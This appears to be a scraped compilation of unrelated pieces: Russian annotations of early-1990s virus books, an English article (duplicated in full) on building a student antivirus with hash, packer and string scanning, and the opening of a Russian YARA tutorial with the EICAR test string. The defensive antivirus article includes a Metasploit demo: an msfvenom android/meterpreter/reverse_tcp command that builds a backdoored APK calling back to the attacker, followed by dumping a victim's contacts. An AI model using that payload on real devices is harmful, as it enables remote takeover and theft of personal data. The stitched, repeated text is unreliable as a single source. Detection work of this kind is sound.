Кратко рассмотрены принципы действия как обычных, так и возможных нетривиальных вирусов (вирусы, поражающие системные и сетевые драйверы; вирусы, зашифровывающие свой код и т.п.). Развеиваются мифы относительно коварства и неуничтожимости некоторых типов вирусов.
А.С.Осипенко. Компьютерные вирусы. Мир ПК, 1990, вып. 3, стр. 23-27.
Описана терминология и дано определение компьютерного вируса. Приведен список мест, куда (теоретически) могут внедряться компьютерные вирусы (дисковый загрузчик, системный загрузчик, файлы операционной системы, системные и прикладные программы, драйверы устройств, объектные модули и библиотеки, программы для препроцессоров и командных процессоров, исходные тексты программ на языках высокого уровня). Описаны вирусы, обнаруженные в Москве в 1988-1989 годах: Flea (Vienna, COM-648), Rash (COM-1701), Israely Virus (Black Friday), Sina, Ibris (TP), Eddie (Dark Avenger), Ping-Pong (Italian Virus).
В.Э.Фигурнов. IBM PC для пользователя. 2-е изд. перераб. и доп. - М.: Финансы и статистика, Компьютер Пресс, 1991. - 288 с.
Наряду с описанием основных принципов и приемов работы на IBM-совместимом компьютере для неискушенного пользователя в одной из глав книги описаны основные принципы борьбы с вирусами и некоторые популярные антивирусные программы.
Н.Н.Безруков. Классификация компьютерных вирусов MS-DOS и методы защиты от них. - М.: Информэйшн Компьютер Энтерпрайз, 1990. - 48 с.
Описаны предложенные автором принципы классификации компьютерных вирусов, включающей код вируса (обычно - целое число, равное длине вируса), дескриптор (список основных свойств) и сигнатуру (строку для поиска кода вируса). Приведена классификация методов защиты от компьютерных вирусов и даны обширные рекомендации по применению методов защиты от вирусов и конкретных антивирусных программ. В конце брошюры приведены таблицы классификации файловых и загрузочных вирусов, содержащие также сигнатуры нескольких десятков вирусов.
Хижняк: П.Л. Пишем вирус и... антивирус. / Под общей
редакцией И.М.Овсянниковой. - М: ИНТО, 1991. - 90 с.

	В  книге  описаны   методы   создания   эффективных
	антивирусных  программ-детекторов  и фагов.  С этой
	целью    рассмотрены    принципы   функционирования
	некоторых  типов вирусов  и  приведен  ассемблерный
	текст    простейшего    COM-вмруса   с    подробным
	рассказом  о  фазах  создания  вируса  и  о  работе
	отдельных его частей.

	Приведен  также   текст   антивирусной   программы-
	детектора и фага  для  данного  конкретного вируса.
	Подробно   описан   процесс   создания   программы-
	антивируса,  показана  практическая работа вируса и
	антивируса в среде  MS DOS  для  IBM PC совместимых
	компьютеров.  В  конце книги дана краткая аннотация
	ряда публикаций по вирусам н антивирусам.

	Книга рассчитана на программистов различных уровней
	подготовки и на пользователей IBM-совместимых
	компьютеров.

©	Хижняк П.Л., 1991
Ответственный редактор Овсянникова И.М.
Оригинал-макет подготовил Хижняк П.Л.
Литературная редакция Хижняк П.Л.
Художник Ратнер Е.Ю.
ISBN 5-86028-011-4


П.Л. Хижняк
           ВИРУСЫ И АНТИВИРУСЫ
        Редактор И. М. Овсянникова
          Художник А.Ф.Гламаздин
     Технический редактор Т.Г.Иванова

Подписано в печать 25.5.91. Формат 60x90 1/16. Бумага кн.-журн.
Гарнитура «Таймс». Печать офсетная. усл. печ. л. 6. Уч.-изд. л.
Тираж 100 000 экз. (1 завод 50тыс.). Заказ 4226
Отпускная цена издательства 6 руб.

ИНТО, 103012, Москва, Хрустальный пер. д. 1 пом. 89.


Отпечатано в 12 Центральной типографии МО СССР.

Поделиться в соц сетях

Introduction

In this article, I will share my personal experience as a student (with regards to how I programmed the anti-virus), and will also explain how it was implemented, what it does and what a person can do with it, etc.

The Repository

https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH is the github repository where you can find the source code for the entire application which is programmed in C++. You may find two engines there. One is the DOS-ENGINE and the other is the GUI-ENGINE. I will clearly explain how DOS engine is implemented. With the help of DOS engine, you can create your own GUI and also customize it as you like.

Tools Which Will Be Helpful for Analysis of Malware

  1. CFF Explorer: http://www.ntcore.com/exsuite.php
  2. PEStudio: https://www.winitor.com/index.html

My Malware Detection Techniques

Hashes

First of all, I will try to explain the difference between hashing and encryption. Encryption is a two way process in which a file or a key can be encrypted (making it unreadable) and can also be decrypted by getting back its original data by using a key (which will be the same for both encryption and decryption in case the encryption process is symmetric). But, Hashes are quite different from that, when an input file/key is submitted, it coverts the data irrespective of the size into a fixed length of key which will be called as a hash. This hashing is unique, even if there is a minor change in data, the generated output will be different.

In our application, we are going to utilize MD5 hashing algorithm.

Example of MD5 hashing:

Plain-text: HASH
Output: 50b7748612b28db487d115f220bb77ab

Plain-text: Hash
Output: fae8a9257e154175da4193dbf6552ef6

You see that the two plain texts are HASH and Hash, both are quite similar words, but there is a casing difference. You can find that both hashes are entirely different. Similarly, hashes can be calculated for the files too.

Packed Executables

In olden days, due to bandwidth problems, programmers used several compression algorithms called packers. Packers are like wrappers for the executable when the executable which is packed gets executed, then the wrapper program which is present in the beginning of the program will get executed first and it will decrypt the remaining executable in one of the three ways listed below:

  1. Once the executable gets executed, then the packer gets executed and decrypts the remaining executable.
  2. The packer will unpack only the function which is needed to be executed.
  3. The packer will unpack the executable on a particular day and time (strange but true).

The commonly used and the most stable packer used is UPX: https://github.com/upx/upx

Characteristics of an Executable Which is Packed

  1. The hash of the packed executable will differ from the hash of the unpacked executable.
  2. The packed executables will contain less strings which completely hides the important strings present in it.

Strings

Some valuable information can be obtained from the strings of the executable which are not packed. They may include function name it is calling, etc. You may see the difference here.

Image 1

Strings can be analyzed from the executable using https://technet.microsoft.com/en-us/sysinternals/strings.aspx or CyberGod KSGMPRH has its open-source alternative https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/SUB-PROJECTS/strings.

So known hashes, packers and unique valuable strings present in the executable are the three rules for our scanner (Note: The project currently has 106 C++ files and I cannot paste them all here).

bool can_scan = false;
								malwares Path = wide_char_to_wide_string(current_path);
				boost::filesystem::path p = { Path };
								std::string extension = p.extension().string();
												if (return_boost_scan_status() == true)
				{
					if (check_extensions.is_common_extension(extension) == true) 
					can_scan = true;
				}
												if (can_scan == true || return_boost_scan_status() == false)
				{
					if (check_extensions.is_common_extension(extension) == true)
					{
												increment_file_count();
						std::cout << "File: " << Path 
						<< "n" << "extension: 
						" << extension << "n";
												std::string hash = calculate_md5
						(wide_char_to_wide_string(current_path));
						std::cout << "Hash: " 
						<< hash << "n";
																								if (check_in_database(hash) == true)
						{
							std::cout << "nHash Malicious Executable" 
							<< Path << "n";
							add_suspicious_files_to_list
							(Path, "Suspicious[IDENTIFIED] executables");
						}
																		if (is_upx(Path))
						{
							std::cout << "nMalicious 
							Executable" << Path << "n";
							add_suspicious_files_to_list
							(Path, "Suspicious[PACKED] executables");
						}
																		if (extension == ".exe")
						{
							if (is_string_present(0, Path))
							{
								std::cout << "nMalicious Executable";
								add_suspicious_files_to_list
								(Path, "Suspicious Semi-Declared");
								int a;
								std::cin >> a;
							}
						}
						std::cout << "nFiles scanned " 
						<< return_file_count() << "n";
					}
					else
					{
						std::cout << "Scheduling this pathn";
						add_to_schedule(Path);
}

This piece of code will first check whether the hash is present in the database and if the hash is present in the database, then it will mark the location of the file as malicious, else it will check whether the file is packed with UPX. If it is packed with UPX, then it will mark the file as suspicious and will subject the file to further analysis. If the strings are present in the database, then it will mark the file as the executable.

Note

All the files which are packed are not malicious. They may be goodware too which could have packed to reduce the executable size and reduce the bandwidth.

Some malware authors use dual packing:

  1. Packing with their own packers first
  2. Then packing with the famous packing algorithm

So detecting all the packers and analyzing the executable is not possible unless I have a huge team, so we are going to use VirusTotal‘s database for analyzing the packed executables.

VirusTotal API is currently available only for Python and PHP. Even in Python, it uses requests (which is a third party library). What I did is I have converted the Third Party Python API for VirusTotal to its native Urllib API. You need VirusTotal API key and it is easy and free to get one! by visiting the website.

import urllib.parse
import urllib.request
import time

class VirusTotal:
    __apiKey = "PLEASE ADD YOUR API KEY HERE"
    __url = 'https://www.virustotal.com/vtapi/v2/file/report'
    __result = ''
    __md5 = ''
    def __init__(self,md5):
        print('initializing....')
        params = {'apikey': self.__apiKey,
                  'resource': md5}
        print('accessing virus total database.....')
        parameters = urllib.parse.urlencode(params)
        req = urllib.request.Request(self.__url, parameters.encode('utf-8'))
        response = urllib.request.urlopen(req)
        the_page = response.read()
        self.__result = the_page.decode('utf-8')
        self.__md5 = md5
        self.create_json()
        print('result stored as '+md5+".json")
        print("waiting for another process...")
        time.sleep(20) 
    def create_json(self):
        file = open(self.__md5+'.json',"w")
        file.write(self.__result)
        file.close()

This program which is programmed in Python does not require any dependencies to third party libraries at all, so we can embed it into our C++ application. The function will provide the detailed report for the suspicious packed file. Finally, after scanning, the result will be stored in a neat and clean HTML file like this:

Image 2

Each file result is stored in a JSON file which comprises a scan report of 61 Scan Engines.

How the Scanning Occurs

The scanning is not scheduled like regular scan engines which uses FCFS algorithm for scanning https://en.wikipedia.org/wiki/First-come,_first-served.

Instead, it uses Priority Scheduling algorithm like it gives priority for executables to text files.

You can find more usage of DOS engine here.

Note: https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/DOS-ENGINE

You may find how to use the executable there. Pre-built executables are available in the releases section of github.

https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/releases

We also have the official GUI, but it is still under development and it looks like this:

Image 3

Three Primary Sources for the Spread of Malware

  1. The Internet
  2. Email
  3. Removable devices like usb drives, sd cards, etc.

At present, our antivirus does not offer any realtime protection and it is an on demand scanner. So we are for now primarily concentrating on Removable media devices.

Removable Devices and Spread of Malware

When a USB device is infected from a trojan or some other variant of spreadable threat, it primarily concentrates on two ways for further infection to some other computer by its execution.

  1. Auto-executing itself via an autorun.inf file
  2. Disguising itself as a user file, setting up the trap for the user to execute it

autorun.inf

autorun.inf is nothing but a file which is used to auto-execute the components like an executable.

When a trojan infects a removable drive, it adds the autorun.inf file in the executable so that whenever the executable is plugged into some other devices, then the executable gets autoexecuted if the feature is available.

Here is how an autorun.inf file will look like:

[autorun]
open=bHgZZxtyu.exe

When the removable drive with this autorun file is plugged in, a file named bHgZZxtyu.exe will get executed and will cause infection to the computer.

Even though we remove the malware in the pen-drive, it gets executed and stored its copy in some place in your PC.

Here is how the program solves the solution.

Working of the Program

In order to overcome this kind of infection, first our program will check whether a removable drive contains an autorun.inf file or not. If autorun.inf file is present, then it will get the location, extension and md5 hash of the executable (which may have executed already).

Then it scans the whole computer to find if the executable has made its copy or not. The algorithm scans only EXE and will skip other files thereby saving your time. If the executable is found, it will inform to you.

[BACKDOOR] Finding Metasploit Payload Emdedded APK in Android

metasploitlogo

Metasploit is a popular penetration testing framework which is used to create payloads, bruteforcing, huge database of exploits, etc. It is the most popular and widely used framework to create backdoors. A favorite tool for Hackers and Script Kiddies.

This is one of the widely spread and the most successful threats for Android. I will however show you a short demonstration of how metasploit works.

I am using Kali Linux Rolling, you may use whatever linux distribution you like.

Step 1

Get your IP address using ifconfig [Note: I have not port-forwarded my router for several valid reasons so this backdoor works only on local network]

step1

Step 2

Use of MSF-VENOM:

msfvenom is a combination of Metasploit Payload and Metasploit executable encoder. msfvenom is used to generate the payload for Android.

Now, we will recreate a TCP client using the following command:

msfvenom -p android/meterpreter/reverse_tcp LHOST = <YOUR IP> LPORT = <PORT NO> R> APP.apk

Here, -p stands for payload.

Now, our backdoor client is created as APP.apk.

Image 6

Step 3

Create our TCP server and wait for some times while the user installs the application and for the client to connect.

Once it is connected, we will dump their contacts into our system. We can do anything I will show contacts as an example.

Image 7

And here are our contacts which we have dumped:

Image 8

Do You See How Successful the Backdoor is? Here is the Solution

Mostly these apks are often emdedded with other famous apk’s like cracked games with unlimited ammo/ lifespan for the user, tricking the user to install the application.

How to Find whether the apk is Embedded with One of the Payloads or Not?

One way to find is by reverse engineering the apk and analysing the classes.dex file which will contain the metsploit strings in them.

So we will write a program to scan the Android’s storage for apk files which is not installed and if an apk is found, the program will unpack the apk and scans the dex file to check if there are any metasploit traces or not.

As we discussed above, the use of strings which provides valuable information for malware analysis, here is a program which is used to extract the strings from the dex file:

    
public class Strings {

    String fileLocation = "";
    ArrayList<string> stringsToFind;
    HashSet<string> stringsInFile;
    boolean getStringsInFile = false;
    
    
    public Strings(String location)
    {
        this.fileLocation = location;
        this.stringsInFile = new HashSet<string>();
        this.getStringsInFile = true;
    }
    
    public Strings(String location, ArrayList<string> strings) {
        this.fileLocation = location;
        this.stringsToFind = strings;
    }

    
    public boolean Scanfile() {
        try {
            FileInputStream stream = new FileInputStream(this.fileLocation);
            BufferedReader br = new BufferedReader(new InputStreamReader(stream));
            String line;
            while ((line = br.readLine()) != null) {
                if (isStringsPresent(line)) {
                        br.close();
                        return true; 
                        
                    }
            }
            br.close();
        } catch (IOException e) {
            
        } catch (Exception e) {
            
        } finally {
        }
        return false;
    }

    
    private boolean isStringsPresent(String line) {
        for (String string : stringsToFind) {
            if (line.contains(string)) {
                return true;
            }
        }
        return false;
    }
    
    
    public HashSet<string> getStrings()
    {
        try {
            FileInputStream stream = new FileInputStream(this.fileLocation);
            BufferedReader br = new BufferedReader(new InputStreamReader(stream));
            String line;
            while ((line = br.readLine()) != null) 
            {
                
                Matcher asciiMatcher = Pattern.compile("[a-zA-Z0-9]*").matcher(line);
                while(asciiMatcher.find())
                {
                    String asciiString = asciiMatcher.group();
                    if(!this.stringsInFile.contains(asciiString))
                    {
                        this.stringsInFile.add(asciiString);
                    }
                }
            }
            br.close();
        } catch (IOException e) {
            
        } catch (Exception e) {
            
        } finally {
            
        }
        return this.stringsInFile;
    }
}

and a method to check if malicious strings are present:

private boolean isStringPresent()
{
    BufferedReader br;
    try
    {
        ZipFile zipFile = new ZipFile(this.fileLocation);
        Enumeration<!--? extends ZipEntry--> zipEntries = zipFile.entries();
        while(zipEntries.hasMoreElements())
        {
            
            ZipEntry zipEntry = zipEntries.nextElement();
            String zipFileName = zipEntry.getName();
            
            if(zipFileName.equals("classes.dex"))
            {
                
                InputStream stream = zipFile.getInputStream(zipEntry);
                br = new BufferedReader(new InputStreamReader(stream));
                String stringsInLine;
                while((stringsInLine = br.readLine()) != null)
                {
                    
                    for(String key : MaliciousStrings.maliciousStrings.keySet())
                    {
                        String maliciousString = new StringBuffer(key).reverse().toString();
                        if(stringsInLine.contains(maliciousString))
                        {
                            this.threatName = MaliciousStrings.maliciousStrings.get(key);
                            
                            stream.close();
                            br.close();
                            zipFile.close();
                            return true;
                        }
                    }
                }
                stream.close();
                br.close();
                zipFile.close();
            }
        }
    } catch (IOException ex) {
        
        System.out.println(ex);
        return false;
    }
    catch (IllegalStateException e){
        return false;
    }
    catch(Exception e){}

    return false;
}

And finally the detections are displayed in a simple interface:

metasploit

This Android application is also open source

https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod

Download the application from here:

https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/blob/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod/app/app-release.apk

Thank you for reading!

License

It is GPL version 2 not 3, but I can’t find it here.

Introduction

In this article, I will share my personal experience as a student (with regards to how I programmed the anti-virus), and will also explain how it was implemented, what it does and what a person can do with it, etc.

The Repository

https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH is the github repository where you can find the source code for the entire application which is programmed in C++. You may find two engines there. One is the DOS-ENGINE and the other is the GUI-ENGINE. I will clearly explain how DOS engine is implemented. With the help of DOS engine, you can create your own GUI and also customize it as you like.

Tools Which Will Be Helpful for Analysis of Malware

  1. CFF Explorer: http://www.ntcore.com/exsuite.php
  2. PEStudio: https://www.winitor.com/index.html

My Malware Detection Techniques

Hashes

First of all, I will try to explain the difference between hashing and encryption. Encryption is a two way process in which a file or a key can be encrypted (making it unreadable) and can also be decrypted by getting back its original data by using a key (which will be the same for both encryption and decryption in case the encryption process is symmetric). But, Hashes are quite different from that, when an input file/key is submitted, it coverts the data irrespective of the size into a fixed length of key which will be called as a hash. This hashing is unique, even if there is a minor change in data, the generated output will be different.

In our application, we are going to utilize MD5 hashing algorithm.

Example of MD5 hashing:

Plain-text: HASH
Output: 50b7748612b28db487d115f220bb77ab

Plain-text: Hash
Output: fae8a9257e154175da4193dbf6552ef6

You see that the two plain texts are HASH and Hash, both are quite similar words, but there is a casing difference. You can find that both hashes are entirely different. Similarly, hashes can be calculated for the files too.

Packed Executables

In olden days, due to bandwidth problems, programmers used several compression algorithms called packers. Packers are like wrappers for the executable when the executable which is packed gets executed, then the wrapper program which is present in the beginning of the program will get executed first and it will decrypt the remaining executable in one of the three ways listed below:

  1. Once the executable gets executed, then the packer gets executed and decrypts the remaining executable.
  2. The packer will unpack only the function which is needed to be executed.
  3. The packer will unpack the executable on a particular day and time (strange but true).

The commonly used and the most stable packer used is UPX: https://github.com/upx/upx

Characteristics of an Executable Which is Packed

  1. The hash of the packed executable will differ from the hash of the unpacked executable.
  2. The packed executables will contain less strings which completely hides the important strings present in it.

Strings

Some valuable information can be obtained from the strings of the executable which are not packed. They may include function name it is calling, etc. You may see the difference here.

Image 1

Strings can be analyzed from the executable using https://technet.microsoft.com/en-us/sysinternals/strings.aspx or CyberGod KSGMPRH has its open-source alternative https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/SUB-PROJECTS/strings.

So known hashes, packers and unique valuable strings present in the executable are the three rules for our scanner (Note: The project currently has 106 C++ files and I cannot paste them all here).

bool can_scan = false;
								malwares Path = wide_char_to_wide_string(current_path);
				boost::filesystem::path p = { Path };
								std::string extension = p.extension().string();
												if (return_boost_scan_status() == true)
				{
					if (check_extensions.is_common_extension(extension) == true) 
					can_scan = true;
				}
												if (can_scan == true || return_boost_scan_status() == false)
				{
					if (check_extensions.is_common_extension(extension) == true)
					{
												increment_file_count();
						std::cout << "File: " << Path 
						<< "n" << "extension: 
						" << extension << "n";
												std::string hash = calculate_md5
						(wide_char_to_wide_string(current_path));
						std::cout << "Hash: " 
						<< hash << "n";
																								if (check_in_database(hash) == true)
						{
							std::cout << "nHash Malicious Executable" 
							<< Path << "n";
							add_suspicious_files_to_list
							(Path, "Suspicious[IDENTIFIED] executables");
						}
																		if (is_upx(Path))
						{
							std::cout << "nMalicious 
							Executable" << Path << "n";
							add_suspicious_files_to_list
							(Path, "Suspicious[PACKED] executables");
						}
																		if (extension == ".exe")
						{
							if (is_string_present(0, Path))
							{
								std::cout << "nMalicious Executable";
								add_suspicious_files_to_list
								(Path, "Suspicious Semi-Declared");
								int a;
								std::cin >> a;
							}
						}
						std::cout << "nFiles scanned " 
						<< return_file_count() << "n";
					}
					else
					{
						std::cout << "Scheduling this pathn";
						add_to_schedule(Path);
}

This piece of code will first check whether the hash is present in the database and if the hash is present in the database, then it will mark the location of the file as malicious, else it will check whether the file is packed with UPX. If it is packed with UPX, then it will mark the file as suspicious and will subject the file to further analysis. If the strings are present in the database, then it will mark the file as the executable.

Note

All the files which are packed are not malicious. They may be goodware too which could have packed to reduce the executable size and reduce the bandwidth.

Some malware authors use dual packing:

  1. Packing with their own packers first
  2. Then packing with the famous packing algorithm

So detecting all the packers and analyzing the executable is not possible unless I have a huge team, so we are going to use VirusTotal‘s database for analyzing the packed executables.

VirusTotal API is currently available only for Python and PHP. Even in Python, it uses requests (which is a third party library). What I did is I have converted the Third Party Python API for VirusTotal to its native Urllib API. You need VirusTotal API key and it is easy and free to get one! by visiting the website.

import urllib.parse
import urllib.request
import time

class VirusTotal:
    __apiKey = "PLEASE ADD YOUR API KEY HERE"
    __url = 'https://www.virustotal.com/vtapi/v2/file/report'
    __result = ''
    __md5 = ''
    def __init__(self,md5):
        print('initializing....')
        params = {'apikey': self.__apiKey,
                  'resource': md5}
        print('accessing virus total database.....')
        parameters = urllib.parse.urlencode(params)
        req = urllib.request.Request(self.__url, parameters.encode('utf-8'))
        response = urllib.request.urlopen(req)
        the_page = response.read()
        self.__result = the_page.decode('utf-8')
        self.__md5 = md5
        self.create_json()
        print('result stored as '+md5+".json")
        print("waiting for another process...")
        time.sleep(20) 
    def create_json(self):
        file = open(self.__md5+'.json',"w")
        file.write(self.__result)
        file.close()

This program which is programmed in Python does not require any dependencies to third party libraries at all, so we can embed it into our C++ application. The function will provide the detailed report for the suspicious packed file. Finally, after scanning, the result will be stored in a neat and clean HTML file like this:

Image 2

Each file result is stored in a JSON file which comprises a scan report of 61 Scan Engines.

How the Scanning Occurs

The scanning is not scheduled like regular scan engines which uses FCFS algorithm for scanning https://en.wikipedia.org/wiki/First-come,_first-served.

Instead, it uses Priority Scheduling algorithm like it gives priority for executables to text files.

You can find more usage of DOS engine here.

Note: https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/DOS-ENGINE

You may find how to use the executable there. Pre-built executables are available in the releases section of github.

https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/releases

We also have the official GUI, but it is still under development and it looks like this:

Image 3

Three Primary Sources for the Spread of Malware

  1. The Internet
  2. Email
  3. Removable devices like usb drives, sd cards, etc.

At present, our antivirus does not offer any realtime protection and it is an on demand scanner. So we are for now primarily concentrating on Removable media devices.

Removable Devices and Spread of Malware

When a USB device is infected from a trojan or some other variant of spreadable threat, it primarily concentrates on two ways for further infection to some other computer by its execution.

  1. Auto-executing itself via an autorun.inf file
  2. Disguising itself as a user file, setting up the trap for the user to execute it

autorun.inf

autorun.inf is nothing but a file which is used to auto-execute the components like an executable.

When a trojan infects a removable drive, it adds the autorun.inf file in the executable so that whenever the executable is plugged into some other devices, then the executable gets autoexecuted if the feature is available.

Here is how an autorun.inf file will look like:

[autorun]
open=bHgZZxtyu.exe

When the removable drive with this autorun file is plugged in, a file named bHgZZxtyu.exe will get executed and will cause infection to the computer.

Even though we remove the malware in the pen-drive, it gets executed and stored its copy in some place in your PC.

Here is how the program solves the solution.

Working of the Program

In order to overcome this kind of infection, first our program will check whether a removable drive contains an autorun.inf file or not. If autorun.inf file is present, then it will get the location, extension and md5 hash of the executable (which may have executed already).

Then it scans the whole computer to find if the executable has made its copy or not. The algorithm scans only EXE and will skip other files thereby saving your time. If the executable is found, it will inform to you.

[BACKDOOR] Finding Metasploit Payload Emdedded APK in Android

metasploitlogo

Metasploit is a popular penetration testing framework which is used to create payloads, bruteforcing, huge database of exploits, etc. It is the most popular and widely used framework to create backdoors. A favorite tool for Hackers and Script Kiddies.

This is one of the widely spread and the most successful threats for Android. I will however show you a short demonstration of how metasploit works.

I am using Kali Linux Rolling, you may use whatever linux distribution you like.

Step 1

Get your IP address using ifconfig [Note: I have not port-forwarded my router for several valid reasons so this backdoor works only on local network]

step1

Step 2

Use of MSF-VENOM:

msfvenom is a combination of Metasploit Payload and Metasploit executable encoder. msfvenom is used to generate the payload for Android.

Now, we will recreate a TCP client using the following command:

msfvenom -p android/meterpreter/reverse_tcp LHOST = <YOUR IP> LPORT = <PORT NO> R> APP.apk

Here, -p stands for payload.

Now, our backdoor client is created as APP.apk.

Image 6

Step 3

Create our TCP server and wait for some times while the user installs the application and for the client to connect.

Once it is connected, we will dump their contacts into our system. We can do anything I will show contacts as an example.

Image 7

And here are our contacts which we have dumped:

Image 8

Do You See How Successful the Backdoor is? Here is the Solution

Mostly these apks are often emdedded with other famous apk’s like cracked games with unlimited ammo/ lifespan for the user, tricking the user to install the application.

How to Find whether the apk is Embedded with One of the Payloads or Not?

One way to find is by reverse engineering the apk and analysing the classes.dex file which will contain the metsploit strings in them.

So we will write a program to scan the Android’s storage for apk files which is not installed and if an apk is found, the program will unpack the apk and scans the dex file to check if there are any metasploit traces or not.

As we discussed above, the use of strings which provides valuable information for malware analysis, here is a program which is used to extract the strings from the dex file:

    
public class Strings {

    String fileLocation = "";
    ArrayList<string> stringsToFind;
    HashSet<string> stringsInFile;
    boolean getStringsInFile = false;
    
    
    public Strings(String location)
    {
        this.fileLocation = location;
        this.stringsInFile = new HashSet<string>();
        this.getStringsInFile = true;
    }
    
    public Strings(String location, ArrayList<string> strings) {
        this.fileLocation = location;
        this.stringsToFind = strings;
    }

    
    public boolean Scanfile() {
        try {
            FileInputStream stream = new FileInputStream(this.fileLocation);
            BufferedReader br = new BufferedReader(new InputStreamReader(stream));
            String line;
            while ((line = br.readLine()) != null) {
                if (isStringsPresent(line)) {
                        br.close();
                        return true; 
                        
                    }
            }
            br.close();
        } catch (IOException e) {
            
        } catch (Exception e) {
            
        } finally {
        }
        return false;
    }

    
    private boolean isStringsPresent(String line) {
        for (String string : stringsToFind) {
            if (line.contains(string)) {
                return true;
            }
        }
        return false;
    }
    
    
    public HashSet<string> getStrings()
    {
        try {
            FileInputStream stream = new FileInputStream(this.fileLocation);
            BufferedReader br = new BufferedReader(new InputStreamReader(stream));
            String line;
            while ((line = br.readLine()) != null) 
            {
                
                Matcher asciiMatcher = Pattern.compile("[a-zA-Z0-9]*").matcher(line);
                while(asciiMatcher.find())
                {
                    String asciiString = asciiMatcher.group();
                    if(!this.stringsInFile.contains(asciiString))
                    {
                        this.stringsInFile.add(asciiString);
                    }
                }
            }
            br.close();
        } catch (IOException e) {
            
        } catch (Exception e) {
            
        } finally {
            
        }
        return this.stringsInFile;
    }
}

and a method to check if malicious strings are present:

private boolean isStringPresent()
{
    BufferedReader br;
    try
    {
        ZipFile zipFile = new ZipFile(this.fileLocation);
        Enumeration<!--? extends ZipEntry--> zipEntries = zipFile.entries();
        while(zipEntries.hasMoreElements())
        {
            
            ZipEntry zipEntry = zipEntries.nextElement();
            String zipFileName = zipEntry.getName();
            
            if(zipFileName.equals("classes.dex"))
            {
                
                InputStream stream = zipFile.getInputStream(zipEntry);
                br = new BufferedReader(new InputStreamReader(stream));
                String stringsInLine;
                while((stringsInLine = br.readLine()) != null)
                {
                    
                    for(String key : MaliciousStrings.maliciousStrings.keySet())
                    {
                        String maliciousString = new StringBuffer(key).reverse().toString();
                        if(stringsInLine.contains(maliciousString))
                        {
                            this.threatName = MaliciousStrings.maliciousStrings.get(key);
                            
                            stream.close();
                            br.close();
                            zipFile.close();
                            return true;
                        }
                    }
                }
                stream.close();
                br.close();
                zipFile.close();
            }
        }
    } catch (IOException ex) {
        
        System.out.println(ex);
        return false;
    }
    catch (IllegalStateException e){
        return false;
    }
    catch(Exception e){}

    return false;
}

And finally the detections are displayed in a simple interface:

metasploit

This Android application is also open source

https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod

Download the application from here:

https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/blob/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod/app/app-release.apk

Thank you for reading!

License

It is GPL version 2 not 3, but I can’t find it here.

Статья Пишем свой сигнатурный антивирус на C#. Часть 1 — Небольшой экскурс в YARA.

Всем доброго времени суток уважаемые участники форума. В этот раз мы напишем свой сигнатурный антивирус(Название можете предложить в комментариях). Возможно также добавиться какой-то функционал. Теперь перейдем к теме, а именно к 1-й части — «Небольшой экскурс в YARA».

  • В первой части мы разберем Yara проект. Разберем как установить инструмент, как получить yara-правила, найдем угрозы.
  • Во второй части научимся сами писать yara-правила.
  • В третьей части напишем антивирус.

Что такое YARA?
Yara — это инструмент, который помогает нам идентифицировать и классифицировать образцы вредоносных программ с помощью правил. Мы можем использовать Yara для классификации файлов или запуска процессов, чтобы определить, к какому семейству относятся вредоносные программы.

Также YARA является мультиплатформенным инструментом, работает на всех популярных ОС и может использоваться через интерфейс командной строки или из ваших собственных скриптов Python с расширением yara-python. Также можно использовать GUI(Рассмотрим далее).

Установка.
Чтобы установить Yara, сначала нужно выполнить следующую команду:
apt install yara

1548226897972.png

После этого мы можем использовать Yara, выполнив команду yara, которая по умолчанию отобразит справку по использованию, как показано ниже:

Мы видим, что для запуска Yara нам нужно предоставить набор правил (RULEFILE), которые мы хотим применить, и путь к файлу (FILE) или pid (PID) процесса, который мы хотим сканировать.

Подготовка правил для тестов.
Правила ClamAV:

Теперь нам нужно получить файл правил, чтобы использовать Yara. В следующей части мы сами напишем файл с правилами, но сейчас будем использовать правила ClamAV. Единственная проблема с правилами ClamAV состоит в том, что мы не можем использовать их непосредственно с Yara, потому что Yara имеет свой собственный способ их описания(свой синтаксис).

Именно здесь вступает в игру скрипт clamav_to_yara.py .

Для этого нам нужно клонировать SVN-репозиторий, который включает скрипт python clamav_to_yara.py .
Ссылка на репозиторий mattulm/volgui

  • wget https://raw.githubusercontent.com/mattulm/volgui/master/tools/clamav_to_yara.py

1548230722465.png

  • python clamav_to_yara.py .

1548230619774.png

  • wget http://database.clamav.net/main.cvd
  • sigtool —unpack main.cvd

1548230935363.png

1548230985274.png

  • python clamav_to_yara.py -f main.ndb -o test.yara
  • yara -r test.yara /myfolder_for_test

Правила PEiD можно скачать с сайта:

Чтобы преобразовать правила PEiD в правила Yara, мы можем просто использовать Python скрипт peid_to_yara.py , который также можно загрузить с jvoisin/yara_rules

1548230802973.png

Затем мы выполняем преобразование, выполнив следующую команду: python peid_to_yara.py -f userdb.txt -o peid.yara
После завершения команды подписи Yara будут содержаться в выходном файле peid.yara.

Тестовый вирус — EICAR
Теперь нам нужен какой-либо вирус для наших тестов, но если у вас нет желания тестировать реальные вирусы, которые также могут принести вред вашему ПК при тесте, вы можете сами создать тестовый вирус, но он будет совершенно безобидным.

EICAR вирус — это небольшой кусок текста, суть которого заключается в том, что все современные AV его обнаруживают.
Мы будем его также тестировать в “полевых условиях”, например, для проверки нашего AV( Если конечно статья вам зайдет ).

1548233263971.png

Но в этой статье мы проверим обнаруживают ли его инструмент Yara.

Теперь давайте сотворим этот “псевдо-вирус”
Для этого создайте файл и вставьте следующий текст: X5O!P%@AP[4PZX54(P^)7CC)7>$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* .
После этого вам необходимо сохранить файл под любым расширением(exe, com, bat, asm…)

Где взять реальные вирусы.

Если вам тестовый вирус EICAR чем-то не устраивает, то можно воспользоваться базой для скачивания реальных вирусов.
Для этих целей можно воспользоваться сервисом —

